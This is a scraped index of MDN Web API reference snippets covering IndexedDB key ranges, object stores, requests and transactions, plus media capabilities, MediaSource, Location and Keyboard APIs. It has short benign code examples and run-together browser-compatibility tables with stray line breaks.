... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBKeyRange.lower - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.lower); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlowerchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBKeyRange.lowerBound() - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.lowerbound("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlowerboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBKeyRange.lowerOpen - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.loweropen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetloweropenchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefo...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBKeyRange.only() - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.only("a"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonlychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBKeyRange.upper - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.upper); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBKeyRange.upperBound() - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.upperbound("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBKeyRange.upperOpen - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (
view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.upperopen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperopenchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefo...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBObjectStore.autoIncrement - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetautoincrementchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12fi...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBObjectStore.index() - Web APIs
for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.create...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBObjectStore.indexNames - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetindexnameschrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBObjectStore.transaction - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12fire...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBOpenDBRequest.onblocked - Web APIs
either one has not been created // before, or a new version number has been submitted
via the // window.indexeddb.open line above //it is only implemented in recent browsers request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonblockedchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefo...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBRequest.onsuccess - Web APIs
for a full working example, see our to-do notifications app (
view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objects...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonsuccesschrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBRequest.readyState - Web APIs
for a full working example, see our to-do notifications app (
view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objects...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadystatechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBRequest.result - Web APIs
for a full working example, see our to-do notifications app (
view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objects...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetresultchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBRequest.source - Web APIs
for a full working example, see our to-do notifications app (
view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as its title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectst...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBRequest.transaction - Web APIs
for a full working example, see our to-do notifications app (
view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objects...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBTransaction.db - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdbchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBTransaction.mode - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmodechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBTransaction.objectStore() - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBTransaction.onerror - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBVersionChangeRequest - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbversionchangerequest deprecatednon-standardchrome no support 12 — 23prefixed no support 12 — 23prefixed prefixed implemented with the vendor prefix: webkitedge ?
... firefox no support noie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nosetversion deprecatednon-standardchrome no support ...
... noedge no support nofirefox no support noie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nolegend ...
IIRFilterNode - Web APIs
the iirfilternode interface of the web audio api is a audionode processor which implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control de
vices and graphic equalizers as well.
...the actual time that takes depends on the filter coefficients pro
vided.
...it also has the following additional methods: getfrequencyresponse() uses the filter's current parameter settings to calculate the response for frequencies specified in the pro
vided array of frequencies.
ImageBitmap - Web APIs
imagebitmap pro
vides an asynchronous and resource efficient pathway to prepare textures for rendering in webgl.
... specifications specification status comment html li
ving standardthe definition of 'imagebitmap' in that specification.
... li
ving standard ...
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
this method was pre
viously named transferimagebitmap(), but was renamed in a spec change.
... // transfer the current frame to the
visible canvas var bitmap = offscreen.transfertoimagebitmap(); htmlcanvas.transferfromimagebitmap(bitmap); specifications specification status comment html li
ving standardthe definition of 'transferfromimagebitmap()' in that specification.
... li
ving standard ...
ImageCapture.getPhotoSettings() - Web APIs
syntax const settingspromise = imagecapture.getphotosettings() return value a promise that resolves with a photosettings object containing the following properties: filllightmode: the flash setting of the capture de
vice, one of "auto", "off", or "on".
...this example also shows how the imagecapture object is created using a mediastreamtrack retrieved from a de
vice's mediastream.
... const input = document.queryselector('input[type="range"]'); var imagecapture; na
vigator.mediade
vices.getusermedia({
video: true}) .then(mediastream => { document.queryselector('
video').srcobject = mediastream; const track = mediastream.get
videotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification...
IntersectionObserverEntry.intersectionRatio - Web APIs
the intersectionobserverentry interface's read-only intersectionratio property tells you how much of the target element is currently
visible within the root's intersection ratio, as a value between 0.0 and 1.0.
... syntax var intersectionratio = intersectionobserverentry.intersectionratio; value a number between 0.0 and 1.0 which indicates how much of the target element is actually
visible within the root's intersection rectangle.
... function intersectioncallback(entries) { entries.foreach(function(entry) { entry.target.style.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection changes in timing element
visibility with the intersection observer api.
IntersectionObserverEntry.intersectionRect - Web APIs
the intersectionobserverentry interface's read-only intersectionrect property is a domrectreadonly object which describes the smallest rectangle that contains the entire portion of the target element which is currently
visible within the intersection root.
... syntax var intersectionrect = intersectionobserverentry.intersectionrect; value a domrectreadonly which describes the part of the target element that's currently
visible within the root's intersection rectangle.
... example in this simple example, an intersection callback stores the intersection rectangle for later use by the code that draws the target elements' contents, so that only the
visible area is redrawn.
Keyboard.lock() - Web APIs
if no keycodes are pro
vided all keys will be locked.
... na
vigator.keyboard.lock(); capturing specific keys the following example captures the "w", "a", "s", and "d" keys.
... na
vigator.keyboard.lock(["keyw", "keya", "keys", "keyd"]); specifications specification status comment keyboard lockthe definition of 'lock()' in that specification.
Keyboard - Web APIs
the keyboard interface of the the keyboard api pro
vides functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
... methods keyboard.getlayoutmap() returns a promise that resolves with an instance of keyboardlayoutmap which is a map-like object with functions for retrie
ving the strings associated with specific physical keys.
... if (na
vigator.keyboard) { var keyboard = na
vigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); }); } else { // do something else.
LayoutShift - Web APIs
the layoutshift interface of the layout instability api pro
vides insights into the stability of web pages based on movements of the elements on the page.
... properties layoutshift.value returns the impact fraction (fraction of the
viewport that was shifted) times the distance fraction (distance moved as a fraction of
viewport).
... if (!entry.hadrecentinput) { cumulativelayoutshiftscore += entry.value; } } }); observer.observe({type: 'layout-shift', buffered: true}); document.addeventlistener('
visibilitychange', () => { if (document.
visibilitystate === 'hidden') { // force any pending records to be dispatched.
Location: ancestorOrigins - Web APIs
you can also use it to vary the beha
vior of the document based on what site or list of sites is framing it.
... syntax const ancestors = location.ancestororigins; specifications specification status comment html li
ving standardthe definition of 'ancestororigins ' in that specification.
... li
ving standard ...
Location: href - Web APIs
setting the value of href na
vigates to the pro
vided url.
... syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/location/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/location/href' specifications specification status comment html li
ving standardthe definition of 'href' in that specification.
... li
ving standard initial definition.
Location: search - Web APIs
modern browsers pro
vide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring.
...r" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html li
ving standardthe definition of 'search' in that specification.
... li
ving standard initial definition.
Lock - Web APIs
the lock interface of the the web locks api pro
vides the name and mode of a pre
viously requested lock, which is received in the callback to lockmanager.request().
...lockmanager is the object returned by na
vigator.locks.
... na
vigator.locks.request("net_db_sync", show_lock_properties); na
vigator.locks.request("another_lock", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'lock' in that specification.
Long Tasks API - Web APIs
motivation the experimental long tasks api gives us
visibility into tasks that take 50 milliseconds or more.
...for tasks that don't occur within the top level page, the containerid, containername and containersrc fields may pro
vide information as to the source of the task.
... } }); // register observer for long task notifications observer.observe({entrytypes: ["longtask"]}); // long script execution after this will result in queueing // and recei
ving "longtask" entries in the observer.
MSManipulationEvent - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msmanipulationevent pro
vides contextual information when contact is made to the screen and an element is manipulated.
... example interface msmanipulationevent extends uievent { readonly currentstate: number; readonly inertiadestinationx: number; readonly inertiadestinationy: number; readonly laststate: number; initmsmanipulationevent(typearg: string, canbubblearg: boolean, cancelablearg: boolean,
viewarg: window, detailarg: number, laststate: number, currentstate: number): void; readonly ms_manipulation_state_active: number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_manipulation_state_inertia: number; readonly ms_manipulation_state_preselect: number; ...
MediaCapabilities.decodingInfo() - Web APIs
syntax mediacapabilities.decodinginfo(mediadecodingconfiguration) parameters mediadecodingconfiguration a valid mediadecodingconfiguration dictionary containing a valid media decoding type of file or media-source and a valid media configuration: either an audioconfiguration or a
videoconfiguration.
... return value a promise fulfilling with a mediacapabilitiesinfo interface containing three boolean attributes: supported smooth powerefficient exceptions a typeerror is raised if the mediaconfiguration passed to the decodinginfo() method is invalid, either because the type is not
video or audio, the contenttype is not a valid codec mime type, the media decoding configuration is not a valid value for the media decoding type, or any other error in the media configuration passed to the method, including omitting values required in the media decoding configuration.
... }, }; // check support and performance na
vigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
MediaCapabilities - Web APIs
the mediacapabilities interface of the media capabilities api pro
vides information about the decoding abilities of the de
vice, system and browser.
... the api can be used to query the browser about the decoding abilities of the de
vice based on codecs, profile, resolution, and bitrates.
... the information is accessed through the mediacapabilities property of the na
vigator interface.
MediaCapabilitiesInfo - Web APIs
the mediacapabilitiesinfo interface of the media capabilities api is made available when the promise returned by the mediacapabilities.encodinginfo() or mediacapabilities.decodinginfo() methods of the mediacapabilities interface fulfills, pro
viding information as to whether the media type is supported, and whether encoding or decoding such media would be smooth and power efficient.
... browsers will report a supported media configuration as smooth and powerefficient until stats on this de
vice have been recorded.
... example // mediaconfiguration to be tested const mediaconfig = { type : 'file', audio : { contenttype : "audio/ogg", channels : 2, bitrate : 132700, samplerate : 5200 }, }; // check support and performance na
vigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { // result contains the media capabilities information console.log('this configuration is ' + (result.supported ?
MediaDecodingConfiguration - Web APIs
a media configuration — a
videoconfiguration or audioconfiguration dictionary.
... examples //create media configuration to be tested const mediaconfig = { type : 'file', // or 'media-source'
video : { contenttype : "
video/webm;codecs=vp8", // valid content type width : 800, // width of the
video height : 600, // height of the
video bitrate : 10000, // number of bits used to encode 1s of
video framerate : 30 // number of frames making up that 1s.
... } }; // check support and performance na
vigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
MediaEncodingConfiguration - Web APIs
a media configuration — a
videoconfiguration audioconfiguration dictionary.
... examples //create media configuration to be tested const mediaconfig = { type : 'record', // or 'transmission'
video : { contenttype : "
video/webm;codecs=vp8", // valid content type width : 800, // width of the
video height : 600, // height of the
video bitrate : 10000, // number of bits used to encode 1s of
video framerate : 30 // number of frames making up that 1s.
... } }; // check support and performance na
vigator.mediacapabilities.encodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
msExtendedCode - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... example var
video1 = object.getelementbyid("
video1");
video1.addeventlistener('error', function () { var error =
video1.error.msextendedcode; //...
... }, false);
video.addeventlistener('canplay', function () {
video1.play(); }, false); ...
MediaRecorder.ignoreMutedMedia - Web APIs
if this attribute is false, mediarecorder will record silence for audio and black frames for
video.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetignoremutedmedia deprecatednon-standardchrome no support 49 — 57edge no support nofirefox ?
... ie no support noopera no support 36 — 44safari no support noweb
view android no support 49 — 57chrome android no support 49 — 57firefox android ?
MediaRecorderErrorEvent.error - Web APIs
the read-only error property in the mediarecordererrorevent interface is a domexception object pro
viding details about the exception that was thrown by a mediarecorder instance.
...the message atttribute should pro
vide additional information, if it exists.
...this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input de
vice.
MediaSource.endOfStream() - Web APIs
when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is back up (
via some kind of polling.) decode: terminates playback and signals that a decoding error has occured.
...their sourcebuffer.updating property is true.) example the following snippet is from a simple example written by nick desaulniers (
view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = '
video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.
...readystate); // closed
video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream();
video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'endofstream()' in that specification.
MediaSource.isTypeSupported() - Web APIs
this may include the codecs parameter to pro
vide added details about the codecs used within the file.
... example the following snippet is from an example written by nick desaulniers (
view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = '
video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.
...readystate); // closed
video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream();
video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'istypesupported()' in that specification.
MediaSource.readyState - Web APIs
ended: the source is attached to a media element but the stream has been ended
via a call to mediasource.endofstream().
... example the following snippet is from a simple example written by nick desaulniers (
view the full demo live, or download the source for further investigation.) if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed
